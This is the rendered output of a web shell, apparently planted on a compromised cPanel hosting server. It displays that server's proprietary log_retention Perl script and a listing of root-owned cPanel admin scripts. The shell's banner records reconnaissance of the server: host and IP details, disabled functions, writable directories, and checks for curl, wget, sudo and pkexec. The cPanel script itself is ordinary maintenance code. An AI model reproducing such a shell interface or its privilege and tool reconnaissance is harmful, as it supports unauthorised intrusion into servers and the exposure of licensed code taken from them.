✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/local/cpanel/scripts//log_retention
#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2026 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::log_retention;

use cPstrict;

use Getopt::Long ();
use Try::Tiny;
use File::Find;
use File::Path qw(remove_tree);
use File::Basename;
use Time::HiRes;

use Cpanel::AccessIds::ReducedPrivileges ();
use Cpanel::Config::LoadCpConf           ();
use Cpanel::Config::Users                ();
use Cpanel::Hooks                        ();
use Cpanel::Logger                       ();
use Cpanel::LogManager                   ();
use Cpanel::SafeRun::Object              ();
use Cpanel::YAML                         ();

use constant {
    PLUGIN_DIR => '/var/cpanel/log_retention/plugins',
};

# Built-in log types
my %BUILTIN_LOG_TYPES = (
    web => {
        get_default_retention => \&_get_web_default_retention,
        get_user_retention    => \&_get_web_user_retention,
        sys_paths             => \&_get_web_sys_paths,
        user_paths            => \&_get_web_user_paths,
        description           => 'Web server logs (Apache/NGINX access and error logs)',
    },
);

# Combined log types (built-in + plugins)
my %LOG_TYPES;

sub script {
    my (@args) = @_;

    local $| = 1;

    # Load built-in types first, then plugins
    %LOG_TYPES = %BUILTIN_LOG_TYPES;
    _load_plugin_log_types();

    my %opts = (
        help    => 0,
        run     => 0,
        type    => [],
        verbose => 0,
    );

    my $getopt_result = Getopt::Long::GetOptionsFromArray(
        \@args,
        'help|h'    => \$opts{help},
        'run'       => \$opts{run},
        'type=s@'   => $opts{type},
        'verbose|v' => \$opts{verbose},
    );

    if ( !$getopt_result || $opts{help} ) {
        _usage();
        return 0;
    }

    my $logger = Cpanel::Logger->new();

    if ( $opts{run} ) {
        return _run_retention_cleanup( $opts{type}, $opts{verbose}, $logger );
    }
    else {
        return _show_log_types( $opts{type}, $opts{verbose}, $logger );
    }
}

sub _usage {
    print <<"EOF";
Usage: $0 [options]

Log retention management utility for cPanel & WHM

Options:
    --help, -h          Show this help message
    --run               Execute log retention cleanup
    --type TYPE         Process specific log type(s) only (can be repeated)
    --verbose, -v       Enable verbose output

Examples:
    $0                          # Show all log types and their settings
    $0 --run                    # Process all log types
    $0 --run --type web         # Process only web logs
    $0 --run --type web --type custom  # Process web and custom log types
    $0 --verbose               # Show detailed information

Built-in log types:
EOF

    for my $type ( sort keys %BUILTIN_LOG_TYPES ) {
        printf "    %-10s %s\n", $type, $BUILTIN_LOG_TYPES{$type}{description};
    }

    # Show plugin log types if any
    my @plugin_types = grep { !exists $BUILTIN_LOG_TYPES{$_} } keys %LOG_TYPES;
    if (@plugin_types) {
        print "\nPlugin log types:\n";
        for my $type ( sort @plugin_types ) {
            printf "    %-10s %s\n", $type, $LOG_TYPES{$type}{description};
        }
    }

    print "\nPlugin directory: " . PLUGIN_DIR . "\n";
    print "\n";
    return;
}

sub _show_log_types {
    my ( $requested_types, $verbose, $logger ) = @_;

    my @types_to_show = @{$requested_types} ? @{$requested_types} : sort keys %LOG_TYPES;

    print "Log Retention Configuration:\n";
    print "=" x 50 . "\n";

    for my $type (@types_to_show) {
        if ( !exists $LOG_TYPES{$type} ) {
            $logger->warn("Unknown log type: $type");
            next;
        }

        my $config            = $LOG_TYPES{$type};
        my $default_retention = $config->{get_default_retention}->();

        print "\nType: $type\n";
        print "Description: $config->{description}\n";
        print "Configured system-wide retention: ";
        if ( $default_retention == 0 ) {
            print "Never delete\n";
        }
        else {
            print "$default_retention days\n";
        }

        if ($verbose) {
            print "System paths:\n";
            my @sys_paths = $config->{sys_paths}->();
            for my $path (@sys_paths) {
                print "  - $path\n";
            }

            print "User retention setting: ~<user>/.cpanel-logs (web-log-retention-days)\n";
        }
    }

    print "\n";
    return 0;
}

sub _run_retention_cleanup {
    my ( $requested_types, $verbose, $logger ) = @_;

    my @types_to_process = @{$requested_types} ? @{$requested_types} : sort keys %LOG_TYPES;

    $logger->info("Starting log retention cleanup process");

    for my $type (@types_to_process) {
        if ( !exists $LOG_TYPES{$type} ) {
            $logger->warn("Unknown log type: $type - skipping");
            next;
        }

        $logger->info("Processing log type: $type");

        my $start_time = Time::HiRes::time();

        try {
            _process_log_type( $type, $verbose, $logger );
        }
        catch {
            $logger->error("Failed to process log type '$type': $_");
        };

        my $duration = sprintf( "%.2f", Time::HiRes::time() - $start_time );
        $logger->info("Completed processing '$type' in ${duration}s");
    }

    $logger->info("Log retention cleanup process completed");
    return 0;
}

sub _process_log_type {
    my ( $type, $verbose, $logger ) = @_;

    my $config            = $LOG_TYPES{$type};
    my $default_retention = $config->{get_default_retention}->();

    my $files_processed = 0;
    my $process_success = 1;

    # Check if running as non-root user
    my $is_root      = ( $> == 0 );
    my $running_user = $is_root ? undef : getpwuid($>);

    eval {
        # Process system paths
        # Skip if default retention is 0 = never delete
        # Also skip system paths if running as non-root user
        if ( !$is_root ) {
            $logger->info("Running as non-root user - skipping system paths for type: $type") if $verbose;
        }
        elsif ( $default_retention == 0 ) {
            $logger->info("System retention set to 'never delete' - skipping system paths for type: $type") if $verbose;
        }
        else {
            $logger->info("Processing system logs for type: $type");
            my @sys_paths = $config->{sys_paths}->();
            for my $path (@sys_paths) {
                $files_processed += _cleanup_logs_in_path(
                    {
                        base_path      => $path,
                        retention_days => $default_retention,
                        log_type       => $type,
                        user           => undef,
                        verbose        => $verbose,
                        logger         => $logger,
                    }
                );
            }
        }

        # Process user paths
        # If running as non-root, only process the current user's logs
        $logger->info("Processing user logs for type: $type");
        my @users = $is_root ? Cpanel::Config::Users::getcpusers() : ($running_user);

        for my $user (@users) {

            my $user_retention = $config->{get_user_retention}->($user) // $default_retention;

            if ( $user_retention == 0 ) {
                $logger->info("User '$user' has retention set to 'never delete' - skipping") if $verbose;
                next;
            }

            my @user_paths = $config->{user_paths}->($user);
            for my $path (@user_paths) {
                $files_processed += _cleanup_logs_in_path(
                    {
                        base_path      => $path,
                        retention_days => $user_retention,
                        log_type       => $type,
                        user           => $user,
                        verbose        => $verbose,
                        logger         => $logger,
                    }
                );
            }
        }

        1;
    } or do {
        $process_success = 0;
        $logger->error("Processing failed: $@");
    };

    $logger->info( "Processed type '$type': $files_processed files deleted, status: " . ( $process_success ? 'success' : 'failed' ) );

    return;
}

sub _find_user_log_files ($cutoff_time) {
    my $archives = Cpanel::LogManager::list_logs();

    my @files;
    for my $archive ( @{$archives} ) {
        if ( $archive->{mtime} && $archive->{mtime} < $cutoff_time ) {
            push @files, $archive->{path};
        }
    }

    return @files;
}

sub _find_system_log_files ( $base_path, $cutoff_time ) {
    my @files;

    my $wanted = sub {
        return unless -f $_;
        return if -l $_;                     # Skip symlinks to prevent symlink attack vulnerabilities
        return if $_ eq '.' or $_ eq '..';

        # Skip current/active log files
        return if $_ =~ /\.log$/ && $_ !~ /\.(gz|bz2|\d+)$/;

        # Look for rotated logs: .log.1, .log.gz, .log.20241201, etc.
        return unless $_ =~ /\.log\.(?:\d+(?:\.gz|\.bz2)?|gz|bz2|\d{8}(?:\.gz|\.bz2)?)$/;

        my $mtime = ( stat($_) )[9];
        if ( $mtime && $mtime < $cutoff_time ) {
            push @files, $File::Find::name;
        }
    };

    find( { wanted => $wanted, no_chdir => 1 }, $base_path );

    return @files;
}

sub _cleanup_logs_in_path {
    my ($args)         = @_;
    my $base_path      = $args->{base_path};
    my $retention_days = $args->{retention_days};
    my $log_type       = $args->{log_type};
    my $user           = $args->{user};
    my $verbose        = $args->{verbose};
    my $logger         = $args->{logger};

    return 0 unless -d $base_path;

    my $cutoff_time = time() - ( $retention_days * 24 * 60 * 60 );
    my @files_to_delete;

    # Define the file finding operation
    my $find_files_coderef = sub {
        @files_to_delete =
          $user
          ? _find_user_log_files($cutoff_time)
          : _find_system_log_files( $base_path, $cutoff_time );
        return;
    };

    # Find rotated log files - drop privileges for user paths to prevent
    # symlink attacks and unauthorized access (TOCTOU mitigation)
    if ( $user && $> == 0 && $user ne 'root' ) {
        Cpanel::AccessIds::ReducedPrivileges::call_as_user( $find_files_coderef, $user );
    }
    else {
        $find_files_coderef->();
    }

    if ( !@files_to_delete ) {
        return 0;
    }

    $logger->info(
        sprintf(
            "Found %d log files to delete in %s (retention: %d days%s)",
            scalar(@files_to_delete),
            $base_path,
            $retention_days,
            $user ? " for user: $user" : ""
        )
    ) if $verbose || @files_to_delete > 10;

    # Execute pre-deletion hook
    try {
        Cpanel::Hooks::hook(
            {
                category => 'Log::Retention',
                event    => 'pre_deletion',
                stage    => 'pre',
            },
            {
                log_type        => $log_type,
                user            => $user,
                base_path       => $base_path,
                files_to_delete => \@files_to_delete,
                retention_days  => $retention_days,
            }
        );
    }
    catch {
        $logger->warn("Pre-deletion hook failed: $_");
    };

    # Define the deletion operation
    my $deleted_count        = 0;
    my $delete_files_coderef = sub {
        for my $file (@files_to_delete) {
            try {
                unlink($file) or die "Failed to delete $file: $!";
                $deleted_count++;
                $logger->info("Deleted: $file") if $verbose;
            }
            catch {
                $logger->warn("Failed to delete $file: $_");
            };
        }

        return;
    };

    # Delete files - drop privileges for user paths to ensure we can only
    # delete files the user owns (prevents privilege escalation)
    if ( $user && $> == 0 && $user ne 'root' ) {
        Cpanel::AccessIds::ReducedPrivileges::call_as_user( $delete_files_coderef, $user );
    }
    else {
        $delete_files_coderef->();
    }

    $logger->info( "Deleted $deleted_count files from $base_path" . ( $user ? " (user: $user)" : "" ) );

    # Execute post-deletion hook
    try {
        Cpanel::Hooks::hook(
            {
                category => 'Log::Retention',
                event    => 'post_deletion',
                stage    => 'post',
            },
            {
                log_type       => $log_type,
                user           => $user,
                base_path      => $base_path,
                deleted_count  => $deleted_count,
                retention_days => $retention_days,
            }
        );
    }
    catch {
        $logger->warn("Post-deletion hook failed: $_");
    };

    return $deleted_count;
}

sub _get_web_default_retention {
    my $cpconf = Cpanel::Config::LoadCpConf::loadcpconf();

    return $cpconf->{'web_log_retention_days'} // 0;
}

sub _get_web_user_retention {
    my ($user) = @_;

    my $user_home = _get_user_home($user);
    return unless $user_home;

    my $config_path = "$user_home/.cpanel-logs";
    return unless -e $config_path;

    require Cpanel::Config::LoadConfig;

    my @pwent = getpwnam($user);
    return unless @pwent;

    my $conf_ref;
    if ( $> == 0 && $user ne 'root' ) {
        $conf_ref = Cpanel::AccessIds::ReducedPrivileges::call_as_user(
            sub { Cpanel::Config::LoadConfig::loadConfig($config_path) },
            $pwent[2], $pwent[3]
        );
    }
    else {
        $conf_ref = Cpanel::Config::LoadConfig::loadConfig($config_path);
    }

    my $value = $conf_ref->{'web-log-retention-days'};
    return unless defined $value && $value =~ /^[0-9]+$/;

    return int($value);
}

sub _get_web_sys_paths {
    my @paths;

    # Apache system logs
    push @paths, '/usr/local/apache/logs' if -d '/usr/local/apache/logs';
    push @paths, '/var/log/apache2'       if -d '/var/log/apache2';
    push @paths, '/var/log/httpd'         if -d '/var/log/httpd';

    # NGINX system logs
    push @paths, '/var/log/nginx' if -d '/var/log/nginx';

    # cPanel domlogs
    push @paths, '/usr/local/apache/domlogs' if -d '/usr/local/apache/domlogs';

    return @paths;
}

sub _get_web_user_paths {
    my ($user) = @_;

    my $user_home = _get_user_home($user);
    return () unless $user_home;

    my @paths;

    # web specific logs in user's ~/logs directory ???
    my $logs_dir = "$user_home/logs";
    push @paths, $logs_dir if -d $logs_dir;

    return @paths;
}

sub _get_user_home {
    my ($user) = @_;

    my @pwent = getpwnam($user);
    return @pwent ? $pwent[7] : undef;
}

#
# Plugin System
#
# Third-party plugins can be installed by dropping a YAML file in PLUGIN_DIR.
# Each plugin YAML file should define handlers that point to executable scripts.
#
# Example plugin YAML structure:
#
#   name: myapp
#   description: "MyApp application logs"
#   handlers:
#     get_default_retention: /opt/cpanel/myapp/bin/log_retention_default
#     get_user_retention: /opt/cpanel/myapp/bin/log_retention_user
#     sys_paths: /opt/cpanel/myapp/bin/log_retention_sys_paths
#     user_paths: /opt/cpanel/myapp/bin/log_retention_user_paths
#
# Handler scripts should:
#   - get_default_retention: Print the default retention days (integer) to STDOUT
#   - get_user_retention: Accept username as $1, print retention days to STDOUT (or nothing for default)
#   - sys_paths: Print one path per line to STDOUT
#   - user_paths: Accept username as $1, print one path per line to STDOUT
#

sub _load_plugin_log_types {
    my $plugin_dir = PLUGIN_DIR;
    return unless -d $plugin_dir;

    opendir my $dh, $plugin_dir or return;
    while ( my $file = readdir($dh) ) {
        next unless $file =~ /^([a-z][a-z0-9_-]*)\.(?:yaml|yml)$/i;
        my $potential_name = $1;
        next unless -f "$plugin_dir/$file";

        try {
            my $config = Cpanel::YAML::LoadFile("$plugin_dir/$file");
            _register_plugin_log_type( $config, "$plugin_dir/$file" );
        }
        catch {
            warn "Failed to load plugin from $file: $_\n";
        };
    }
    closedir $dh;

    return;
}

sub _register_plugin_log_type {
    my ( $config, $config_path ) = @_;

    # Validate required fields
    my $name = $config->{name};
    unless ( $name && $name =~ /^[a-z][a-z0-9_-]*$/i ) {
        warn "Plugin config $config_path: 'name' is required and must be alphanumeric\n";
        return;
    }

    # Don't allow overriding built-in types
    if ( exists $BUILTIN_LOG_TYPES{$name} ) {
        warn "Plugin config $config_path: Cannot override built-in log type '$name'\n";
        return;
    }

    my $handlers = $config->{handlers};
    unless ( $handlers && ref($handlers) eq 'HASH' ) {
        warn "Plugin config $config_path: 'handlers' section is required\n";
        return;
    }

    # Validate required handlers exist and are executable
    for my $required (qw(get_default_retention sys_paths)) {
        my $handler = $handlers->{$required};
        unless ( $handler && -f $handler && -x $handler ) {
            warn "Plugin config $config_path: Handler '$required' ($handler) must exist and be executable\n";
            return;
        }
    }

    # Register the plugin log type with wrapper functions
    $LOG_TYPES{$name} = {
        description           => $config->{description} || "Plugin: $name",
        get_default_retention => sub { _call_plugin_handler( $handlers->{get_default_retention}, 'scalar' ) },
        get_user_retention    => sub { _call_plugin_handler( $handlers->{get_user_retention},    'scalar', @_ ) },
        sys_paths             => sub { _call_plugin_handler( $handlers->{sys_paths},             'list' ) },
        user_paths            => sub { _call_plugin_handler( $handlers->{user_paths},            'list', @_ ) },
        _plugin_config        => $config,
    };

    return 1;
}

sub _call_plugin_handler {
    my ( $handler_path, $return_type, @args ) = @_;

    # If no handler defined (optional handlers like get_user_retention)
    return $return_type eq 'list' ? () : undef unless $handler_path;
    return $return_type eq 'list' ? () : undef unless -f $handler_path && -x $handler_path;

    my $result = Cpanel::SafeRun::Object->new(
        program => $handler_path,
        args    => \@args,
        timeout => 30,
    );

    if ( $result->CHILD_ERROR() ) {
        warn "Plugin handler $handler_path failed: " . ( $result->stderr() || 'unknown error' ) . "\n";
        return $return_type eq 'list' ? () : undef;
    }

    my $output = $result->stdout() // '';
    chomp $output;

    if ( $return_type eq 'scalar' ) {

        # Return first line as scalar (e.g., retention days)
        my ($value) = split /\n/, $output, 2;
        return $value;
    }
    else {
        # Return all lines as list (e.g., paths)
        return grep { length $_ } split /\n/, $output;
    }
}

exit( __PACKAGE__->script(@ARGV) || 0 ) if !caller();

1;

__END__

=head1 NAME

scripts::log_retention - Log retention management utility for cPanel & WHM

=head1 SYNOPSIS

    /usr/local/cpanel/scripts/log_retention [options]

    Options:
        --help, -h          Show help message
        --run               Execute log retention cleanup
        --type TYPE         Process specific log type(s) only
        --verbose, -v       Enable verbose output

=head1 DESCRIPTION

This script manages log file retention across different log types in cPanel & WHM.
It supports:

=over 4

=item * System-wide default retention policies

=item * User-specific retention overrides

=item * Multiple log types (web, and extensible for others)

=item * Hook points for custom pre/post deletion actions

=item * Resource-aware processing

=back

=head1 LOG TYPES

=head2 web

Manages web server logs including:

=over 4

=item * Apache access and error logs

=item * NGINX access and error logs

=item * Domain-specific logs in user directories

=item * System-wide web server logs

=back

=head1 CONFIGURATION

=head2 System Configuration

Default web log retention is configured via WHM Tweak Settings
(web_log_retention_days in /var/cpanel/cpanel.config):

    web_log_retention_days=30

Set to 0 to never delete (this is the default).

=head2 User Configuration

Users can override the system default via the .cpanel-logs file
in the user's home directory (~user/.cpanel-logs):

    web-log-retention-days=60

Set to 0 to never delete user logs.
If not set or invalid, the system default is used.

=head1 HOOKS

The following hooks are available for custom integration, such as archiving
logs to external storage before deletion:

=head2 Log::Retention::pre_deletion

Called before deleting files. This is the recommended integration point for
archiving solutions - copy or upload the files before they are deleted.

Receives:

=over 4

=item * log_type - The type of logs being processed

=item * user - Username (if processing user logs, undef for system logs)

=item * base_path - Base directory being processed

=item * files_to_delete - Array reference of files to be deleted

=item * retention_days - Retention period in days

=back

=head2 Log::Retention::post_deletion

Called after deleting files. Receives:

=over 4

=item * log_type - The type of logs processed

=item * user - Username (if processing user logs, undef for system logs)

=item * base_path - Base directory processed

=item * deleted_count - Number of files actually deleted

=item * retention_days - Retention period in days

=back

=cut

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 4.57 AM
root / wheel
0711
cpan_sandbox
--
16 Jan 2026 9.28 PM
root / root
0755
php_sandbox
--
16 Jan 2026 9.28 PM
root / root
0755
MirrorSearch_pingtest
2.38 KB
9 Feb 2022 6.45 PM
root / root
0755
activesync-invite-reply
1.693 KB
9 Feb 2022 6.45 PM
root / root
0755
add_dns
2.361 KB
9 Feb 2022 6.45 PM
root / root
0755
adddns
2.361 KB
9 Feb 2022 6.45 PM
root / root
0755
addpop
6.082 KB
9 Feb 2022 6.45 PM
root / root
0755
addsystemuser
3.267 KB
9 Feb 2022 6.45 PM
root / root
0755
adduser
0.09 KB
11 Feb 2015 5.35 PM
root / root
0755
agent360.sh
16.029 KB
13 Apr 2026 8.58 PM
root / root
0700
apachelimits
4.307 KB
9 Feb 2022 6.45 PM
root / root
0755
archive_sync_zones
3.049 KB
11 Feb 2025 5.08 AM
root / root
0755
auto-adjust-mysql-limits
1.811 KB
9 Feb 2022 6.45 PM
root / root
0755
autorepair
1.244 KB
9 Feb 2022 6.45 PM
root / root
0755
backup_jobs_helper
10.878 KB
14 Jul 2026 1.33 PM
root / root
0755
backups_clean_metadata_for_missing_backups
1.574 KB
9 Feb 2022 6.45 PM
root / root
0755
backups_create_metadata
15.748 KB
9 Feb 2022 6.45 PM
root / root
0755
backups_list_user_files
4.562 KB
9 Feb 2022 6.45 PM
root / root
0755
balance_linked_node_quotas
2.581 KB
9 Feb 2022 6.45 PM
root / root
0755
biglogcheck
1.688 KB
9 Feb 2022 6.45 PM
root / root
0755
build_bandwidthdb_root_cache_in_background
1.524 KB
9 Feb 2022 6.45 PM
root / root
0755
build_cpnat
3.412 KB
9 Feb 2022 6.45 PM
root / root
0755
build_mail_sni
3.873 KB
28 Jul 2022 12.22 AM
root / root
0755
build_maxemails_config
1.142 KB
9 Feb 2022 6.45 PM
root / root
0755
builddovecotconf
9.638 KB
16 Jan 2026 9.26 PM
root / root
0755
buildeximconf
6.999 KB
11 Feb 2025 5.08 AM
root / root
0755
buildhttpdconf
2.602 KB
9 Feb 2022 6.45 PM
root / root
0755
buildpureftproot
0.526 KB
9 Feb 2022 6.45 PM
root / root
0755
call_pkgacct
2.252 KB
14 Jul 2026 1.33 PM
root / root
0755
ccs-check
4.913 KB
9 Feb 2022 6.45 PM
root / root
0755
check_cpanel_pkgs
10.602 KB
7 Aug 2026 4.57 AM
root / root
0755
check_domain_tls_service_domains.pl
6.681 KB
9 Feb 2022 6.45 PM
root / root
0755
check_immutable_files
5.489 KB
9 Feb 2022 6.45 PM
root / root
0755
check_mail_spamassassin_compiledregexps_body_0
0.183 KB
13 Apr 2016 6.55 PM
root / root
0755
check_maxmem_against_domains_count
3.566 KB
9 Feb 2022 6.45 PM
root / root
0755
check_mount_procfs
2.023 KB
9 Feb 2022 6.45 PM
root / root
0755
check_mysql
5.563 KB
11 Feb 2025 5.08 AM
root / root
0755
check_plugin_pkgs
2.453 KB
11 Feb 2025 5.08 AM
root / root
0755
check_security_advice_changes
8.278 KB
11 Feb 2025 5.08 AM
root / root
0755
check_unmonitored_enabled_services
4.557 KB
28 Jul 2022 12.22 AM
root / root
0755
check_unreliable_resolvers
3.586 KB
9 Feb 2022 6.45 PM
root / root
0755
check_users_my_cnf
6.046 KB
9 Feb 2022 6.45 PM
root / root
0755
check_valid_server_hostname
7.656 KB
28 Jul 2022 12.22 AM
root / root
0755
checkalldomainsmxs
2.404 KB
9 Feb 2022 6.45 PM
root / root
0755
checkbashshell
1.177 KB
9 Feb 2022 6.45 PM
root / root
0755
checkccompiler
1.224 KB
9 Feb 2022 6.45 PM
root / root
0755
checkexim.pl
3.098 KB
9 Feb 2022 6.45 PM
root / root
0755
checklink
1.292 KB
9 Feb 2022 6.45 PM
root / root
0755
checkusers
0.836 KB
9 Feb 2022 6.45 PM
root / root
0755
chkpaths
0.138 KB
11 Feb 2015 5.35 PM
root / root
0755
chpass
0.406 KB
9 Feb 2022 6.45 PM
root / root
0755
ckillall
1.112 KB
9 Feb 2022 6.45 PM
root / root
0755
clean_dead_mailman_locks
2.091 KB
9 Feb 2022 6.45 PM
root / root
0755
clean_up_temp_wheel_users
2.439 KB
9 Feb 2022 6.45 PM
root / root
0755
clean_user_php_sessions
4.761 KB
28 Jul 2022 12.22 AM
root / root
0755
cleandns
13.114 KB
11 Feb 2025 5.08 AM
root / root
0755
cleandns8
0.407 KB
9 Feb 2022 6.45 PM
root / root
0755
cleanmsglog
0.718 KB
11 Feb 2015 5.35 PM
root / root
0755
cleanphpsessions
0.91 KB
9 Feb 2022 6.45 PM
root / root
0755
cleanphpsessions.php
0.643 KB
31 Aug 2022 5.28 PM
root / root
0644
cleanquotas
1.612 KB
9 Feb 2022 6.45 PM
root / root
0755
cleansessions
5.891 KB
11 Feb 2025 5.08 AM
root / root
0755
cleanupinterchange
2.643 KB
9 Feb 2022 6.45 PM
root / root
0755
cleanupmysqlprivs
0.755 KB
25 Feb 2025 4.12 PM
root / root
0755
clear_orphaned_virtfs_mounts
3.56 KB
9 Feb 2022 6.45 PM
root / root
0755
comet_license_registration_sync
1.671 KB
14 Jul 2026 1.33 PM
root / root
0755
comet_protected_item_maintenance
20.782 KB
14 Jul 2026 1.33 PM
root / root
0755
comparecdb
1.524 KB
9 Feb 2022 6.45 PM
root / root
0755
compilers
2.863 KB
9 Feb 2022 6.45 PM
root / root
0755
compilerscheck
0.976 KB
9 Feb 2022 6.45 PM
root / root
0755
configure_firewall_for_cpanel
0.508 KB
9 Feb 2022 6.45 PM
root / root
0755
configure_rh_firewall_for_cpanel
0.508 KB
9 Feb 2022 6.45 PM
root / root
0755
configure_rh_ipv6_firewall_for_cpanel
0.508 KB
9 Feb 2022 6.45 PM
root / root
0755
convert2dovecot
0.666 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_accesshash_to_token
4.073 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_and_migrate_from_legacy_backup
1.97 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_maildir_to_mdbox
1.663 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_mdbox_to_maildir
1.658 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_roundcube_mysql2sqlite
26.121 KB
7 Mar 2025 3.31 PM
root / root
0755
convert_to_dovecot_delivery
4.334 KB
9 Feb 2022 6.45 PM
root / root
0755
convert_whmxfer_to_sqlite
1.464 KB
9 Feb 2022 6.45 PM
root / root
0755
copy_user_mail_as_root
1.251 KB
9 Feb 2022 6.45 PM
root / root
0755
copy_user_mail_as_user
1.343 KB
9 Feb 2022 6.45 PM
root / root
0755
cpan_config
2.803 KB
9 Feb 2022 6.45 PM
root / root
0755
cpanel_initial_install
67.952 KB
11 Jun 2026 4.57 AM
root / root
0755
cpanelsync
28.312 KB
9 Feb 2022 6.45 PM
root / root
0755
cpanelsync_postprocessor
1.618 KB
9 Feb 2022 6.45 PM
root / root
0755
cpanpingtest
0.942 KB
9 Feb 2022 6.45 PM
root / root
0755
cpbackup
44.786 KB
11 Feb 2025 5.08 AM
root / root
0755
cpbackup_transport_file
5.646 KB
28 Jul 2022 12.22 AM
root / root
0755
cpdig
2.814 KB
11 Jun 2026 4.58 AM
root / root
0755
cpfetch
1.229 KB
9 Feb 2022 6.45 PM
root / root
0755
cphulkdblacklist
0.423 KB
9 Feb 2022 6.45 PM
root / root
0755
cphulkdwhitelist
1.305 KB
9 Feb 2022 6.45 PM
root / root
0755
cpservice
2.865 KB
9 Feb 2022 6.45 PM
root / root
0755
cpuser_port_authority
19.292 KB
9 Feb 2022 6.45 PM
root / root
0755
cpuser_service_manager
10.853 KB
28 Jul 2022 12.22 AM
root / root
0755
create_default_featurelist
11.624 KB
10 Sep 2026 4.31 PM
root / root
0700
createacct
30.35 MB
11 Sep 2026 4.57 AM
root / root
0700
custom_backup_destination.pl.sample
5.061 KB
28 Jul 2022 12.22 AM
root / root
0755
custom_backup_destination.pl.skeleton
2.838 KB
9 Feb 2022 6.45 PM
root / root
0755
dcpumon-wrapper
0.83 KB
9 Feb 2022 6.45 PM
root / root
0755
delpop
6.201 KB
9 Feb 2022 6.45 PM
root / root
0755
detect_env_capabilities
0.496 KB
9 Feb 2022 6.45 PM
root / root
0755
disable_prelink
2.774 KB
9 Feb 2022 6.45 PM
root / root
0755
disablefileprotect
2.188 KB
11 Feb 2025 5.08 AM
root / root
0755
distro_changed_hook
1.157 KB
9 Feb 2022 6.45 PM
root / root
0755
dnscluster
4.439 KB
9 Feb 2022 6.45 PM
root / root
0755
dnsqueuecron
1.285 KB
9 Feb 2022 6.45 PM
root / root
0755
dnssec-cluster-keys
3.75 KB
9 Feb 2022 6.45 PM
root / root
0755
dovecot_maintenance
7.658 KB
11 Feb 2025 5.08 AM
root / root
0755
dovecot_set_defaults.pl
0.961 KB
9 Feb 2022 6.45 PM
root / root
0755
dumpcdb
0.846 KB
9 Feb 2022 6.45 PM
root / root
0755
dumpinodes
0.671 KB
9 Feb 2022 6.45 PM
root / root
0755
dumpquotas
0.602 KB
9 Feb 2022 6.45 PM
root / root
0755
dumpstor
0.892 KB
9 Feb 2022 6.45 PM
root / root
0755
ea4_fresh_install
2.636 KB
9 Feb 2022 6.45 PM
root / root
0755
edit_cpanelsync_exclude_list
2.579 KB
9 Feb 2022 6.45 PM
root / root
0755
editquota
3.43 KB
11 Feb 2025 5.08 AM
root / root
0755
email_archive_maintenance
6.152 KB
9 Feb 2022 6.45 PM
root / root
0755
email_hold_maintenance
1.46 KB
9 Feb 2022 6.45 PM
root / root
0755
enable_spf_dkim_globally
8.827 KB
9 Feb 2022 6.45 PM
root / root
0755
enablefileprotect
2.099 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_autoenabled_features
3.15 MB
18 Aug 2026 4.57 AM
root / root
0700
ensure_conf_dir_crt_key
4.824 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_cpuser_file_ip
2.549 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_crontab_permissions
1.075 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_dovecot_memory_limits_meet_minimum
3.133 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_hostname_resolves
2.512 KB
1 Apr 2025 10.57 PM
root / root
0755
ensure_includes
0.587 KB
9 Feb 2022 6.45 PM
root / root
0755
ensure_vhost_includes
13.526 KB
9 Feb 2022 6.45 PM
root / root
0755
exim_tidydb
2.965 KB
9 Feb 2022 6.45 PM
root / root
0755
eximconfgen
1.318 KB
9 Feb 2022 6.45 PM
root / root
0755
eximstats_spam_check
0.847 KB
9 Feb 2022 6.45 PM
root / root
0755
expunge_expired_certificates_from_sslstorage
3.563 KB
9 Feb 2022 6.45 PM
root / root
0755
expunge_expired_pkgacct_sessions
0.832 KB
9 Feb 2022 6.45 PM
root / root
0755
expunge_expired_transfer_sessions
1.063 KB
9 Feb 2022 6.45 PM
root / root
0755
fastmail
5.157 KB
9 Feb 2022 6.45 PM
root / root
0755
featuremod
1.924 KB
9 Feb 2022 6.45 PM
root / root
0755
fetchfile
0.412 KB
9 Feb 2022 6.45 PM
root / root
0755
find_and_fix_rpm_issues
6.989 KB
11 Feb 2025 5.08 AM
root / root
0755
find_outdated_services
6.47 KB
11 Jun 2026 4.58 AM
root / root
0755
find_pids_with_inotify_watch_on_path
3.657 KB
9 Feb 2022 6.45 PM
root / root
0755
fix-cpanel-perl
28.43 KB
